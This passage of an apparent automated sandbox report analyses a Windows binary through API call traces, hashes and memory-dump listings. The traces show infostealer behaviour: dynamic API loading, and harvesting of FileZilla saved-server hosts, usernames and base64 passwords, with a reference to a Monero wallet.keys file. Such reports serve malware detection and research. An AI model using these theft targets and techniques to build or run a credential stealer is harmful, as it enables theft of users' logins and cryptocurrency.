GetSystemInfo.KERNEL32(?), ref: 00B3116A
ExitProcess.KERNEL32 ref: 00B3117E

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 90ec8e15ec91ab63320222533d65ebc0aa60880a93e7eccc57d266618931afc2
Instruction ID: 8c8e63d575681d70d6d320ede7b5d9f1f86bb0d4156b02926694c480c8ebc257
Opcode Fuzzy Hash: 90ec8e15ec91ab63320222533d65ebc0aa60880a93e7eccc57d266618931afc2
Instruction Fuzzy Hash: 4BD05E7490030CDBCB04DFE4D8496DDBBB8FB48312F100594D909B2340EA3064C2CAB6

Function 00B49C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,014D64A0), ref: 00B49C2D
GetProcAddress.KERNEL32(75900000,014D6300), ref: 00B49C45
GetProcAddress.KERNEL32(75900000,014E8F58), ref: 00B49C5E
GetProcAddress.KERNEL32(75900000,014E8FA0), ref: 00B49C76
GetProcAddress.KERNEL32(75900000,014ECAE0), ref: 00B49C8E
GetProcAddress.KERNEL32(75900000,014EC9F0), ref: 00B49CA7
GetProcAddress.KERNEL32(75900000,014DB270), ref: 00B49CBF
GetProcAddress.KERNEL32(75900000,014EC948), ref: 00B49CD7
GetProcAddress.KERNEL32(75900000,014EC810), ref: 00B49CF0
GetProcAddress.KERNEL32(75900000,014EC8A0), ref: 00B49D08
GetProcAddress.KERNEL32(75900000,014ECA50), ref: 00B49D20
GetProcAddress.KERNEL32(75900000,014D6280), ref: 00B49D39
GetProcAddress.KERNEL32(75900000,014D6480), ref: 00B49D51
GetProcAddress.KERNEL32(75900000,014D6580), ref: 00B49D69
GetProcAddress.KERNEL32(75900000,014D6440), ref: 00B49D82
GetProcAddress.KERNEL32(75900000,014EC990), ref: 00B49D9A
GetProcAddress.KERNEL32(75900000,014EC858), ref: 00B49DB2
GetProcAddress.KERNEL32(75900000,014DB130), ref: 00B49DCB
GetProcAddress.KERNEL32(75900000,014D6320), ref: 00B49DE3
GetProcAddress.KERNEL32(75900000,014EC960), ref: 00B49DFB
GetProcAddress.KERNEL32(75900000,014EC900), ref: 00B49E14
GetProcAddress.KERNEL32(75900000,014EC930), ref: 00B49E2C
GetProcAddress.KERNEL32(75900000,014EC9A8), ref: 00B49E44
GetProcAddress.KERNEL32(75900000,014D62A0), ref: 00B49E5D
GetProcAddress.KERNEL32(75900000,014ECAF8), ref: 00B49E75
GetProcAddress.KERNEL32(75900000,014EC8D0), ref: 00B49E8D
GetProcAddress.KERNEL32(75900000,014EC8E8), ref: 00B49EA6
GetProcAddress.KERNEL32(75900000,014EC9C0), ref: 00B49EBE
GetProcAddress.KERNEL32(75900000,014EC978), ref: 00B49ED6
GetProcAddress.KERNEL32(75900000,014ECA20), ref: 00B49EEF
GetProcAddress.KERNEL32(75900000,014EC918), ref: 00B49F07
GetProcAddress.KERNEL32(75900000,014ECA08), ref: 00B49F1F
GetProcAddress.KERNEL32(75900000,014ECA80), ref: 00B49F38
GetProcAddress.KERNEL32(75900000,014E9AB8), ref: 00B49F50
GetProcAddress.KERNEL32(75900000,014EC9D8), ref: 00B49F68
GetProcAddress.KERNEL32(75900000,014EC870), ref: 00B49F81
GetProcAddress.KERNEL32(75900000,014D62C0), ref: 00B49F99
GetProcAddress.KERNEL32(75900000,014EC888), ref: 00B49FB1
GetProcAddress.KERNEL32(75900000,014D6380), ref: 00B49FCA
GetProcAddress.KERNEL32(75900000,014ECA98), ref: 00B49FE2
GetProcAddress.KERNEL32(75900000,014ECAB0), ref: 00B49FFA
GetProcAddress.KERNEL32(75900000,014D63A0), ref: 00B4A013
GetProcAddress.KERNEL32(75900000,014D63C0), ref: 00B4A02B
LoadLibraryA.KERNEL32(014EC828,?,00B45CA3,00B50AEB,?,?,?,?,?,?,?,?,?,?,00B50AEA,00B50AE3), ref: 00B4A03D
LoadLibraryA.KERNEL32(014ECA38,?,00B45CA3,00B50AEB,?,?,?,?,?,?,?,?,?,?,00B50AEA,00B50AE3), ref: 00B4A04E
LoadLibraryA.KERNEL32(014ECA68,?,00B45CA3,00B50AEB,?,?,?,?,?,?,?,?,?,?,00B50AEA,00B50AE3), ref: 00B4A060
LoadLibraryA.KERNEL32(014ECAC8,?,00B45CA3,00B50AEB,?,?,?,?,?,?,?,?,?,?,00B50AEA,00B50AE3), ref: 00B4A072
LoadLibraryA.KERNEL32(014EC840,?,00B45CA3,00B50AEB,?,?,?,?,?,?,?,?,?,?,00B50AEA,00B50AE3), ref: 00B4A083
LoadLibraryA.KERNEL32(014EC8B8,?,00B45CA3,00B50AEB,?,?,?,?,?,?,?,?,?,?,00B50AEA,00B50AE3), ref: 00B4A095
LoadLibraryA.KERNEL32(014ECCF0,?,00B45CA3,00B50AEB,?,?,?,?,?,?,?,?,?,?,00B50AEA,00B50AE3), ref: 00B4A0A7
LoadLibraryA.KERNEL32(014ECBE8,?,00B45CA3,00B50AEB,?,?,?,?,?,?,?,?,?,?,00B50AEA,00B50AE3), ref: 00B4A0B8
GetProcAddress.KERNEL32(75FD0000,014D68A0), ref: 00B4A0DA
GetProcAddress.KERNEL32(75FD0000,014ECD20), ref: 00B4A0F2
GetProcAddress.KERNEL32(75FD0000,014E8A80), ref: 00B4A10A
GetProcAddress.KERNEL32(75FD0000,014ECBD0), ref: 00B4A123
GetProcAddress.KERNEL32(75FD0000,014D67C0), ref: 00B4A13B
GetProcAddress.KERNEL32(73BC0000,014DB108), ref: 00B4A160
GetProcAddress.KERNEL32(73BC0000,014D6860), ref: 00B4A179
GetProcAddress.KERNEL32(73BC0000,014DAEB0), ref: 00B4A191
GetProcAddress.KERNEL32(73BC0000,014ECC48), ref: 00B4A1A9
GetProcAddress.KERNEL32(73BC0000,014ECC60), ref: 00B4A1C2
GetProcAddress.KERNEL32(73BC0000,014D6900), ref: 00B4A1DA
GetProcAddress.KERNEL32(73BC0000,014D68E0), ref: 00B4A1F2
GetProcAddress.KERNEL32(73BC0000,014ECD50), ref: 00B4A20B
GetProcAddress.KERNEL32(763B0000,014D6A20), ref: 00B4A22C
GetProcAddress.KERNEL32(763B0000,014D66A0), ref: 00B4A244
GetProcAddress.KERNEL32(763B0000,014ECB40), ref: 00B4A25D
GetProcAddress.KERNEL32(763B0000,014ECCA8), ref: 00B4A275
GetProcAddress.KERNEL32(763B0000,014D6920), ref: 00B4A28D
GetProcAddress.KERNEL32(750F0000,014DAED8), ref: 00B4A2B3
GetProcAddress.KERNEL32(750F0000,014DB158), ref: 00B4A2CB
GetProcAddress.KERNEL32(750F0000,014ECB70), ref: 00B4A2E3
GetProcAddress.KERNEL32(750F0000,014D67E0), ref: 00B4A2FC
GetProcAddress.KERNEL32(750F0000,014D6940), ref: 00B4A314
GetProcAddress.KERNEL32(750F0000,014DAF00), ref: 00B4A32C
GetProcAddress.KERNEL32(75A50000,014ECC00), ref: 00B4A352
GetProcAddress.KERNEL32(75A50000,014D6800), ref: 00B4A36A
GetProcAddress.KERNEL32(75A50000,014E8B90), ref: 00B4A382
GetProcAddress.KERNEL32(75A50000,014ECB88), ref: 00B4A39B
GetProcAddress.KERNEL32(75A50000,014ECCC0), ref: 00B4A3B3
GetProcAddress.KERNEL32(75A50000,014D6820), ref: 00B4A3CB
GetProcAddress.KERNEL32(75A50000,014D6960), ref: 00B4A3E4
GetProcAddress.KERNEL32(75A50000,014ECC18), ref: 00B4A3FC
GetProcAddress.KERNEL32(75A50000,014ECC78), ref: 00B4A414
GetProcAddress.KERNEL32(75070000,014D6840), ref: 00B4A436
GetProcAddress.KERNEL32(75070000,014ECC30), ref: 00B4A44E
GetProcAddress.KERNEL32(75070000,014ECDE0), ref: 00B4A466
GetProcAddress.KERNEL32(75070000,014ECB10), ref: 00B4A47F
GetProcAddress.KERNEL32(75070000,014ECC90), ref: 00B4A497
GetProcAddress.KERNEL32(74E50000,014D6780), ref: 00B4A4B8
GetProcAddress.KERNEL32(74E50000,014D66C0), ref: 00B4A4D1
GetProcAddress.KERNEL32(75320000,014D66E0), ref: 00B4A4F2
GetProcAddress.KERNEL32(75320000,014ECDF8), ref: 00B4A50A
GetProcAddress.KERNEL32(6F060000,014D6880), ref: 00B4A530
GetProcAddress.KERNEL32(6F060000,014D6680), ref: 00B4A548
GetProcAddress.KERNEL32(6F060000,014D68C0), ref: 00B4A560
GetProcAddress.KERNEL32(6F060000,014ECBB8), ref: 00B4A579
GetProcAddress.KERNEL32(6F060000,014D6980), ref: 00B4A591
GetProcAddress.KERNEL32(6F060000,014D69A0), ref: 00B4A5A9
GetProcAddress.KERNEL32(6F060000,014D6700), ref: 00B4A5C2
GetProcAddress.KERNEL32(6F060000,014D6720), ref: 00B4A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00B4A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00B4A607
GetProcAddress.KERNEL32(74E00000,014ECCD8), ref: 00B4A629
GetProcAddress.KERNEL32(74E00000,014E8B10), ref: 00B4A641
GetProcAddress.KERNEL32(74E00000,014ECD68), ref: 00B4A659
GetProcAddress.KERNEL32(74E00000,014ECD08), ref: 00B4A672
GetProcAddress.KERNEL32(74DF0000,014D67A0), ref: 00B4A693
GetProcAddress.KERNEL32(6F9B0000,014ECD38), ref: 00B4A6B4
GetProcAddress.KERNEL32(6F9B0000,014D69E0), ref: 00B4A6CD
GetProcAddress.KERNEL32(6F9B0000,014ECD80), ref: 00B4A6E5
GetProcAddress.KERNEL32(6F9B0000,014ECD98), ref: 00B4A6FD

Strings

HttpQueryInfoA, xrefs: 00B4A5FC
InternetSetOptionA, xrefs: 00B4A5E5

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: fa3ae2d14ede2f94a04283b65ebc251d2fb484d5744cb1e630ff82bc69d7eeed
Instruction ID: df48a04bc1847f6abdc10d1f84fdc0c8a59db89db6e84250b8d7900f1e276429
Opcode Fuzzy Hash: fa3ae2d14ede2f94a04283b65ebc251d2fb484d5744cb1e630ff82bc69d7eeed
Instruction Fuzzy Hash: 806206B5514340AFD348DFACED8996E3BF9E7C8601714851AA60DC3364F639A882DB73

Function 00B37710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B37724
RtlAllocateHeap.NTDLL(00000000), ref: 00B3772B
lstrcat.KERNEL32(?,014E94E8), ref: 00B378DB
lstrcat.KERNEL32(?,?), ref: 00B378EF
lstrcat.KERNEL32(?,?), ref: 00B37903
lstrcat.KERNEL32(?,?), ref: 00B37917
lstrcat.KERNEL32(?,014EDE08), ref: 00B3792B
lstrcat.KERNEL32(?,014EDD90), ref: 00B3793F
lstrcat.KERNEL32(?,014EDC88), ref: 00B37952
lstrcat.KERNEL32(?,014EDCA0), ref: 00B37966
lstrcat.KERNEL32(?,014EDFF8), ref: 00B3797A
lstrcat.KERNEL32(?,?), ref: 00B3798E
lstrcat.KERNEL32(?,?), ref: 00B379A2
lstrcat.KERNEL32(?,?), ref: 00B379B6
lstrcat.KERNEL32(?,014EDE08), ref: 00B379C9
lstrcat.KERNEL32(?,014EDD90), ref: 00B379DD
lstrcat.KERNEL32(?,014EDC88), ref: 00B379F1
lstrcat.KERNEL32(?,014EDCA0), ref: 00B37A04
lstrcat.KERNEL32(?,014EE060), ref: 00B37A18
lstrcat.KERNEL32(?,?), ref: 00B37A2C
lstrcat.KERNEL32(?,?), ref: 00B37A40
lstrcat.KERNEL32(?,?), ref: 00B37A54
lstrcat.KERNEL32(?,014EDE08), ref: 00B37A68
lstrcat.KERNEL32(?,014EDD90), ref: 00B37A7B
lstrcat.KERNEL32(?,014EDC88), ref: 00B37A8F
lstrcat.KERNEL32(?,014EDCA0), ref: 00B37AA3
lstrcat.KERNEL32(?,014EE0C8), ref: 00B37AB6
lstrcat.KERNEL32(?,?), ref: 00B37ACA
lstrcat.KERNEL32(?,?), ref: 00B37ADE
lstrcat.KERNEL32(?,?), ref: 00B37AF2
lstrcat.KERNEL32(?,014EDE08), ref: 00B37B06
lstrcat.KERNEL32(?,014EDD90), ref: 00B37B1A
lstrcat.KERNEL32(?,014EDC88), ref: 00B37B2D
lstrcat.KERNEL32(?,014EDCA0), ref: 00B37B41
lstrcat.KERNEL32(?,014EE130), ref: 00B37B55
lstrcat.KERNEL32(?,?), ref: 00B37B69
lstrcat.KERNEL32(?,?), ref: 00B37B7D
lstrcat.KERNEL32(?,?), ref: 00B37B91
lstrcat.KERNEL32(?,014EDE08), ref: 00B37BA4
lstrcat.KERNEL32(?,014EDD90), ref: 00B37BB8
lstrcat.KERNEL32(?,014EDC88), ref: 00B37BCC
lstrcat.KERNEL32(?,014EDCA0), ref: 00B37BDF
lstrcat.KERNEL32(?,014EE198), ref: 00B37BF3
lstrcat.KERNEL32(?,?), ref: 00B37C07
lstrcat.KERNEL32(?,?), ref: 00B37C1B
lstrcat.KERNEL32(?,?), ref: 00B37C2F
lstrcat.KERNEL32(?,014EDE08), ref: 00B37C43
lstrcat.KERNEL32(?,014EDD90), ref: 00B37C56
lstrcat.KERNEL32(?,014EDC88), ref: 00B37C6A
lstrcat.KERNEL32(?,014EDCA0), ref: 00B37C7E

Part of subcall function 00B375D0: lstrcat.KERNEL32(35A77020,00B517FC), ref: 00B37606
Part of subcall function 00B375D0: lstrcat.KERNEL32(35A77020,00000000), ref: 00B37648
Part of subcall function 00B375D0: lstrcat.KERNEL32(35A77020, : ), ref: 00B3765A
Part of subcall function 00B375D0: lstrcat.KERNEL32(35A77020,00000000), ref: 00B3768F
Part of subcall function 00B375D0: lstrcat.KERNEL32(35A77020,00B51804), ref: 00B376A0
Part of subcall function 00B375D0: lstrcat.KERNEL32(35A77020,00000000), ref: 00B376D3
Part of subcall function 00B375D0: lstrcat.KERNEL32(35A77020,00B51808), ref: 00B376ED
Part of subcall function 00B375D0: task.LIBCPMTD ref: 00B376FB

lstrcat.KERNEL32(?,014EE2E0), ref: 00B37E0B
lstrcat.KERNEL32(?,014ED3B8), ref: 00B37E1E
lstrlen.KERNEL32(35A77020), ref: 00B37E2B
lstrlen.KERNEL32(35A77020), ref: 00B37E3B

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: d670a18af311432f070dffeb76f1fc208f796f06343ba5a4b3c231d39a356e8d
Instruction ID: 1e3b457528461d7e9c164b9c745e5b5e60e8314075ff43edc54d6540c3ddc20f
Opcode Fuzzy Hash: d670a18af311432f070dffeb76f1fc208f796f06343ba5a4b3c231d39a356e8d
Instruction Fuzzy Hash: D9321FB2900314ABD715EBA4DC85DEE737CBB44700F444AD8F21DA2290EE74E7899F62

Function 00B40250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B48E0B

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B399EC
Part of subcall function 00B399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B39A11
Part of subcall function 00B399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B39A31
Part of subcall function 00B399C0: ReadFile.KERNEL32(000000FF,?,00000000,00B3148F,00000000), ref: 00B39A5A
Part of subcall function 00B399C0: LocalFree.KERNEL32(00B3148F), ref: 00B39A90
Part of subcall function 00B399C0: CloseHandle.KERNEL32(000000FF), ref: 00B39A9A

Part of subcall function 00B48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B48E52

GetProcessHeap.KERNEL32(00000000,000F423F,00B50DBA,00B50DB7,00B50DB6,00B50DB3), ref: 00B40362
RtlAllocateHeap.NTDLL(00000000), ref: 00B40369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00B40385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B50DB2), ref: 00B40393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00B403CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B50DB2), ref: 00B403DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00B40419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B50DB2), ref: 00B40427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00B40463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B50DB2), ref: 00B40475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B50DB2), ref: 00B40502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B50DB2), ref: 00B4051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B50DB2), ref: 00B40532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B50DB2), ref: 00B4054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00B40562
lstrcat.KERNEL32(?,profile: null), ref: 00B40571
lstrcat.KERNEL32(?,url: ), ref: 00B40580
lstrcat.KERNEL32(?,00000000), ref: 00B40593
lstrcat.KERNEL32(?,00B51678), ref: 00B405A2
lstrcat.KERNEL32(?,00000000), ref: 00B405B5
lstrcat.KERNEL32(?,00B5167C), ref: 00B405C4
lstrcat.KERNEL32(?,login: ), ref: 00B405D3
lstrcat.KERNEL32(?,00000000), ref: 00B405E6
lstrcat.KERNEL32(?,00B51688), ref: 00B405F5
lstrcat.KERNEL32(?,password: ), ref: 00B40604
lstrcat.KERNEL32(?,00000000), ref: 00B40617
lstrcat.KERNEL32(?,00B51698), ref: 00B40626
lstrcat.KERNEL32(?,00B5169C), ref: 00B40635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B50DB2), ref: 00B4068E

Strings

<User>, xrefs: 00B40410
<Host>, xrefs: 00B4037C
<Pass encoding="base64">, xrefs: 00B4045A
<Port>, xrefs: 00B403C6
password: , xrefs: 00B405FB
login: , xrefs: 00B405CA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00B402A4
url: , xrefs: 00B40577
profile: null, xrefs: 00B40568
browser: FileZilla, xrefs: 00B40559

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
